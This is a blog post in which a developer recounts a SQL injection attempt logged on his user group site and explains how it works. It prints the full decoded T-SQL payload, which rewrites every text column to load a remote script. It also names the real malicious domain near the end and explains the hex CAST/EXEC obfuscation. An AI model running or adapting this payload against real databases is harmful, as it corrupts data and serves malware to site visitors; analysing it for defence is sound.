I use ELMAH to take care of un-handled exceptions on my web sites, including www.iedotnetug.org. It works well, and sends me an email when something goes wrong. I typically get 2-3 emails about the user group site a week, usually bots or spiders causing 404 errors. Today I woke up with two emails with the following errors:

System.FormatException: Input string was not in a correct format.

Ok, I see these all the time, almost deleted the message, but decided to scroll down just a bit more to the variables to see what spider triggered this. You won't believe what I saw.

Now a good friend of mine, and member of the user group - Matt Penner - is constantly generating errors on the user group site when trying to submit his Most Valuable Member points. I had just finished making a fix last night, and thought he'd get a kick out of seeing this. So I forward it on to Matt. His response was:

"Wow, can you say SQL Injection Attack?  Do you really look over all the error messages?  Do they come in your email?  That could be a lot to wade through.  How much do you get? You've probably already figured out their code but here's what they were trying to do:" 

He then goes on to show me the SQL which was in this HEX string. Pretty scary stuff.

DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor
CURSOR FOR
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id
and a.xtype='u'
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT
FROM Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('
update ['+@T+']
set ['+@C+']=''"></title><script src="http://<effing domain removed to protect my readers>/csrss/w.js"></script><!--''+['+@C+']
where '+@C+' not like ''%"></title><script src="http://<effing domain removed to protect my readers>/csrss/w.js"></script><!--''')
FETCH NEXT
FROM Table_Cursor
INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Matt then goes on to say:

"This looks fairly nasty. He's really trying to replace any TITLE tag on your HTML pages. If your titles were dynamically generated from SQL (and that's a pretty big if) this would close the tag, insert a script the browser would run and then comment out the rest of the page. However, HTML is fairly forgiving so this script would probably run no matter what tag got hit.

But that's not the bad part. This script changes every single text column in every table in your database. Ugh! The sheer destruction of all your data would probably debilitate the site as a whole no matter what.

But you have to give him props. He does optimize the code for you. For instance, his script doesn't update fields that have already been hacked previously. So I guess he's kind enough not to waste processes on your SQL box. Maybe you should thank him."

Now Matt works at a school district and his network is secure. But because he's a geek like me, he decides to visit the domain. This is what he finds:

Matt tells me the code is in HEX and he had to use PSPad to decrypt it. He goes on to say:

"After IIS unencodes the query string this turns into:
SET @S = CAST(0xBlahBlahBlah AS CHAR(4000));
EXEC (@S);

It looks like SQL's CAST statement is smart enough to know that 0x is a hex string and automatically converts it to text for you.  This is much like a CAST(blah as datetime) is smart enough to convert dates from a variety of different formats.  Now it's in a plain text string which is dynamically executed by the EXEC statement."

We email about it a few more times, then consider the matter closed. All until I run across this blog entry from Steve Trefethen today. The same attack was tried on his blog, however he went further and downloaded the JavaScript. The JavaScript in turn will insert an <IFRAME> which will then load some pretty nasty ActiveX controls.

I have been meaning to do some major overhauling on the user group site, especially to get rid of the query string parameters. Fortunately for me, the query string parameter is encoded and then passed into a SqlDataSource Parameter. Whew! I guess I know what I'm going to be doing sooner, rather than later.

Oh, and if you want to bypass my protection for you and throw caution to the wind, replace "http://<effing domain removed to protect my readers>" with www0.douhunqn.cn. You have been warned.

Big props to Matt for helping me out.

James

By the way, as I was preparing this and pasting the various bits of code into Live Writer, the following NOD 32 anti virus window popped up:

Nasty, nasty stuff.